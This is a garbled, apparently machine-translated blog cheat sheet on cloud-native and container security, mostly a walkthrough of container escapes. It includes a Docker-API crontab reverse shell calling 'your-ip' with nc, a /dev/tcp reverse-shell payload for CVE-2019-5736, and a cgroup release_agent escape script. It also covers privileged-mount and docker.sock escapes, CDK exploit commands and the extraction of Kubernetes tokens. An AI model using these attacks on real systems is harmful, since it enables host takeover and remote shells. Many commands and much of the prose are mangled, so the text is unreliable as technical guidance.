Cloud-native security (container security Cheat Sheet) - Part 1

March 12, 2022
Cloud - Security - Container - Microservices

WARNING: This post is over a year old. Some of the information this contains may be outdated.

Cloud-native security

What is cloud-native security

Cloud Native is a technology system and methodology, which consists of 2 word, cloud, and Native . Cloud indicates that the application is in the cloud, rather than the traditional data center; native Native said application from the beginning of the design that takes into account the cloud environment, native to cloud and design, on a cloud in the best condition to run, take advantage and play cloud platform's elastic and distributed advantage.

Cloud-native representatives of technologies including containers, service mesh Service Mesh and microservices(Microservice, and immutable infrastructure, and declarative APIS).

Security layers

Cloud-native security 4C

You can be layered to consider security, cloud-native security 4C, respectively, is the cloud, a cluster Cluster, the container and the code the Code is.

4C Image from Cisco blog

Cloud-native security model of each layer is based on the next outermost layer, the code layer to benefit from the strong Foundation layer of security, cloud, cluster, container.

You cannot pass in the code layer to solve the security issues for the base layer in the worst safety standards to provide protection.

According to different perspectives for the safety division

Build-deploy-run

• When building security(Build)

  • To the rules engine in the form of operational regulatory container image

    • Dockerfile

    • Suspicious file

    • Sensitive permissions

    • Sensitive port

    • Basic software vulnerabilities

    • Business software

  • Deployment security(Deployment)

    • Kubernetes
  • The runtime security(Runtime)

    • HIDS

Before and after the attack

• Before the attack : crop the attack surface, reduce the external exposure of the attack surface as used herein relates to the scene keywords: isolation

• Attacks: reducing the attack success rate this article relates to the scene keywords: reinforcement

• After the attack: to reduce the attack is successful the attacker can obtain valuable information, data and increased left the back door of the difficulty.

The container attack surface

  • Linux kernel vulnerability

    • Kernel mention the right

    • Container escape

  • The container itself

  • Disturbing all of the programme(configuration)

    • The privileges of the container or root privileges to run the container;
    • Unreasonable Capability configuration permissions through the large Capability to.

Information collection of the container

To determine the current machine is a Docker container environment

• Check the PID of the process name

If the process is the application process it is determined that the container, and if it is the init process, or the systemd process, it is not necessarily the container, of course, cannot be excluded is a container of circumstances, such as LXD instance of the process to the /sbin/init .

ps -p1

• Check the kernel file

Containers and virtual machines are not the same, the container and the host machine is a shared kernel, so in theory the interior of the container is not the kernel file, unless mount the host's /boot directory.

KERNEL_PATH=$(cat /proc/cmdline | tr ' ' '\n' | awk-F '=' '/THIS/{print $2}') 
test -e $KERNEL_PATH && echo "Not Sure" || echo "Container"

Check /proc/1/cgroup whether there is a containing docker string, and this command can get to the docker container of the uuid.

cat /proc/1/cgroup 

cat /proc/1/cgroup | grep -qi docker && echo "Docker" || echo "Not Docker"

Check the root directory exists .dockerenvfile

The container is through the cgroup resource limit, and each container will be put into a cgroup group, if it is Docker, the cgroup namedocker-xxxx, where xxxx is the Docker container of the UUID. And the control is a container of resources, in essence, is the control run in the interior of the container of the process resources, so we can view the interior of the container process is of the cgroup name to get a clue.

ls -la /.dockerenv 

[[ -f /.dockerenv ]] && echo "Docker" || echo "Not Docker"

• Other way

sudo  readlink /proc/1/exe
// if the return system words the IS the host machine 

systemd-detect-virt-c
// returns none for the host

Container escape

  • User layer

    • User improperly configured
    • Danger Mount
  • Service layer: the container service itself defect(bug)

  • System layer: Linux kernel vulnerabilities

Configure improper Docker escape

Docker Remote API are not authorized to access

docker swarm

docker swarm is a docker cluster into a single virtual docker host tool, use the standard Docker API, to facilitate the docker cluster management and extended by the docker official, docker swarm is to manage docker cluster tool. Master-slave management, default by 2375 port communication. Binding a Docker Remote API services over HTTP, Python, calling the API to operate Docker in.

Vulnerability environment to build

Use vulhub build vulnerability of the environment: docker daemon api unauthorized access vulnerability

Exploit

Start a container, and mount the host /etc folder to the container, then we will have read/write access to any files.

We can put the commands in crontab configuration file to reverse shell

import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

Reverse shell exploit by injecting commands in crontab:

Exploit a container RCE

• Get the host on all containers:

curl -i-s-X GET http://<docker_host>:PORT/containers/json

• Create a will in the container on executing exec example

POST /containers/<container_id>/exec HTTP/1.1 
Host: <docker_host>:PORT 
Content-Type: application/json 
Content-Length:  188 

{
  "AttachStdin": true,
  "AttachStdout": true,
  "AttachStderr": true,
  "Cmd": ["cat", "/etc/passwd"],
  "DetachKeys": "ctrl-p,ctrl-q",
  "Privileged": true,
  "Tty": true
}

bash command


curl -i-s-X POST \ -H "Content-Type: application/json" \ --data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \ http: //<docker_host>:PORT/containers/<container_id>/exec

• Start exec examples

POST /exec/<exec_id>/start HTTP/1.1 
Host: <docker_host>:PORT 
Content-Type: application/json 

{
 "Detach": false,
 "Tty": false
}

bash command

curl-i-s-X POST \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' \
http://<docker_host>:PORT/exec/<exec_id>/start

Exploits Two host RCE

Using the method, we feel free to start a container and the host machine's /etc directory to mount into the container, can be arbitrary read and write files. We can be the command to write the crontab configuration file, to bounce the shell.

import  docker 
client = docker. DockerClient(base_url='http://your-ip:2375/') 
data = client. containers. run('alpine:latest', r"'sh-c "echo '* * * * * /usr/bin/nc-your-ip-21-e /bin/sh' >> /tmp/etc/crontabs/root" "', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

Using the cdk (Zero Dependency Container Penetration Toolkit) for exploit

Using the cdk directly execute the command:

./cdk run docker-api-pwn http://127.0.0.1:2375 "touch /host/tmp/docker-api-pwn"

Hanging in the host Root/to the interior of the container/host, and then execute the instruction input by the user to tamper with the host machine files, such as can write to /etc/crontab to get the host machine.

Exploit:

CDK has three modules:

  • Evaluate: gather information inside container to find potential weakness.
  • Exploit: for container escaping, persistance and lateral movement
  • Tool: network-tools and APIs for TCP/HTTP requests, tunnels and K8s cluster management.

    Github Link

Docker high-risk startup parameters --privileged privileged mode to start the container

Reason

When the operator executes docker run --privileged, the Docker will allow the container to access the host machine on all devices, also modify the AppArmor or SELinux configuration, the container has with those that run directly on the host, the process is almost the same access permissions.

Environment to build

sudo  docker run-itd --privileged ubuntu:latest /bin/bash

Exploit

  • View the disk file: fdisk-l
  • create a new directory to mount: mkdir /aa
  • will be the host/dev/sda1 directory to mount to the container inside /aa: mount /dev/sda1/aa
  • can write the file for permissions or data

Use cdk :

./cdk run mount-disk

Docker high-risk startup parameters –cap-add=SYS_ADMIN use

Docker through the Linux namespace achieve 6 of resource isolation, including the host name, user rights, File System, Network, process number, the inter-process communication. But part of the startup parameters awarded the container permissions larger privileges, thus breaking the resource isolation boundaries.

--cap-add=SYS_ADMIN startup, allows to perform the mount privileged operations, the need to get resources to mount to use.
-- net=host boot time, bypassing the Network Namespace
--pid=host boot time, bypassing the PID Namespace
--ipc=host boot time, bypassing the IPC Namespace

Premise:

  • Within the container root user
  • of the container must use the SYS_ADMIN Linux capability to run
  • the container must be missing AppArmor configuration file, otherwise it will allow the mount syscall
  • cgroup v1 virtual file system must be read-write mounted in the interior of the container

We need a cgroup in which you can write notify_on_release file(for enable cgroup notifications), mount the cgroup controller and create a sub-cgroup, create a /bin/sh process and its PID is written to the cgroup. procs file sh exit after execution release_agent file.

# On the host 
docker run --rm-it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
# In the container 
mkdir /tmp/cgrp && mount-t cgroup-o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x 

echo  1 > /tmp/cgrp/x/notify_on_release 
host_path=`sed-n 's/.*\ perdir=\([^,]*\).*/\ 1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent 

echo '#!/ bin/sh' > /cmd 
echo "ls > $host_path/output" >> /cmd 
chmod a+x /cmd 
sh-c "echo \$\$ > /tmp/cgrp/x/cgroup. procs"

View the exported file

ls /tmp/cgrp 
cat /output

Danger mount the resulting Docker escape

Bind mounts

Image from docs docker

Mount a directory (-v /:/soft(-v or --mount flag))

docker  run-itd-v /dir:/dir ubuntu: 18.04 /bin/bash

Mount the Docker Socket

Escape reappearance

• First create a container and mount the /var/run/docker.sock

docker  run-itd-v /var/run/docker. sock:/var/run/docker.sock ubuntu

• Within the container install Docker command-line client

apt-get update 
apt-get install \
apt-transport-https \
ca-certificates \
curl \
gnupg-agent \
software-properties-common 
curl-fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | apt-key  add -
apt-key  fingerprint 0 EBFCD88 
add-apt-repository \
"deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/ \
$(lsb_release-cs) \
stable"
apt-get  update 
apt-get  install  docker-ce docker-ce-cli containerd.io

• Then use the client through the Docker Socket with the Docker daemon communication, sending commands to create and run a new container, will host the root directory of the mount to the newly created inside the container

docker run-it-v /:/host  ubuntu: 18.04 /bin/bash

• In the new container is executed within the chroot to the root directory of the switch to mount the host root directory.

chroot /test

Using the cdk tool to perform the command:

./cdk run docker-sock-pwn /var/run/docker. sock "touch /host/tmp/pwn-success"

Mount procfs directory

About procfs

procfs is a pseudo-file system, which dynamically reflects system processes and other components of the state, many of which have very sensitive to important files. Therefore, the host of the procfs mounted to is not controlled by the container are also very dangerous, especially within the container is enabled by default root permission, and do not turn on the User Namespace when

The exploit process is relatively complex, but can be by cdk quick use. example:

  1. The host machine to start the test container, mount the host machine procfs, try to escape the current container. docker run-v /root/cdk:/cdk-v /proc:/mnt/host_proc –rm-it ubuntu bash

  2. Execute ./cdk run mount-procfs /mnt/host_proc “touch /tmp/exp-success” inside the container

  3. The /tmp/exp-success file appears in the host, indicating that the exp has been successfully executed, and the attacker can execute arbitrary commands on the host.

Reference: Exploit: mount procfs

mount cgroup directory

Exploit using cdk

./cdk run mount-cgroup "<shell-cmd>"

Program vulnerability to cause the Docker escape

CVE-2019-5736 runc container escape vulnerability

Vulnerability details

Docker, containerd, or other based on the runc container runtime there is a security vulnerability, an attacker through a specific container image or the exec action can get to the host runc performed when a file handle and modify off-the runc binary file, so access to the host machine as root execute permissions.

POC: CVE-2019-5736-PoC

• Modify payload

vi  main.go 
payload = "#!/ bin/bash \n bash-i >& /dev/tcp/[ip]/1234 0>&1"

• Compilation

CGO_ENABLED=0  GOOS=linux GOARCH=amd64 
go build main.go

• Copied to the docker container execution

• Wait for victims to use docker execto connect the container

• Receive rebound shell

Docker cp command to container escapes attack vulnerability

Vulnerability details

When the Docker host machine using the cp command, it will call the secondary process of the docker-tar, the process is not the container, and at runtime to dynamically load some libnss.so the library. Hackers can the container by replace libnss. so like the library, the code will be injected into the docker-tar-in. When the Docker user attempts to container a copy of the file will execute malicious code, the successful implementation of the Docker escape, to obtain host root access.

Scope of impact Docker 19.03.0

Vulnerability reference

Docker Patched in the Most Severe Copy the Vulnerability to Date With CVE-2019-14271

Docker build code execution

Vulnerability reference

CVE-2019-13139 - Docker build code execution

Kernel vulnerability to cause the Docker escape

Dirty COW vulnerability Docker escape

Vulnerability description

Dirty Cow(CVE-2016-5195 is a Linux kernel privilege escalation vulnerability, which can be implemented Docker container to escape, to get root access to the shell.

Docker host machine share the kernel, so the container needs in the presence of the dirtyCow vulnerability of the host machine inside.

Vulnerability reproduction

Environment access: git clone https://github.com/gebl/dirtycow-docker-vdso.git

Use CDK

CDK: https://github.com/cdk-team/CDK

Copied to the container in host machine

docker cp /Users/threezh1/Downloads/cdk_linux_amd64 e39eb7abd9e6:/root

Container

cd /root 
mv cdk_linux_amd64 cdk 
chmod 777 cdk
Common commands

# The information collected 
cdk evaluate

# include all the exp 
cdk run --list

# execute the specified exp 
cdk run <script-name> [options]

K8s security

By cdk evaluate the detected item, you can look at the k8s security issues.

Reference:

• https://raw.githubusercontent.com/kubernetes/dashboard/v1.10.1/src/deploy/recommended/kubernetes-dashboard.yaml

• https://github.com/kubernetes/dashboard

  • First through the docker-desktop install k8s, the reference: https://github.com/maguowei/k8s-docker-desktop-for-mac

  • Install k8s kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.2.0/aio/deploy/recommended.yaml

  • Open local agent kubectl proxy

  • Access http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/

  • Below the steps to obtain the token

  • Install helm

    • brew install helm

    • helm repo add stable http://mirror.azure.cn/kubernetes/charts/

    • helm repo update

    • helm install my-mysql stable/mysql

Create a user:

kubectl  apply -f dashboard-adminuser.aml

dashboard-adminuser. yaml is as follows: apiVersion: v1 kind: ServiceAccount metadata: name: admin-user namespace: kube-system

Get token

kubectl-n kube-system describe  secret $(kubectl-n kube-system  get  secret | grep admin-user | awk '{print $1}')

kube-proxy boundary bypass (CVE-2020-8558)

An attacker could by the same local area network under the container, or the cluster nodes access the same second-level domain under the adjacent node on the binding monitor local 127. 0. 0. 1 port TCP/UDP service, so as to get the interface information.

Kubernetes trust boundaries Image from alcide

A detailed description can reference: CVE-2020-8558: the Kubernetes local host boundaries bypass vulnerability announcement

lsof +c 15 -P-n-i4TCP@127.0.0.1 -sTCP:LISTEN 
lsof +c 15 -P-n-i4UDP@127.0.0.1

K8s Api-server

Check ENV information to determine the current container belongs to a K8s Pod, access to K8s api-server connection address and try Anonymous Login, if successful, means that you can directly through the api-server to take over the K8s cluster.

Reference: https://github.com/cdk-team/CDK/wiki/Evaluate:-K8s-API-Server

The premise is that you must k8s supports Anonymous Login, by default does not support Anonymous Login. If there is this problem, can be used cdk kcurl anonymousto initiate HTTP request.

K8s Service Account

K8s cluster to create the Pod, the inside of the container by default carry K8s Service Account authentication credentials(/run/secrets/kubernetes.io/serviceaccount/token), CDK will use the credentials attempts to authenticate K8s api-server to server and the access to the higher authority of the interface, if the execution is successful means that the account has high privileges, you can directly use the Service Account to manage K8s cluster.

Photo by Caleb Russell on Unsplash.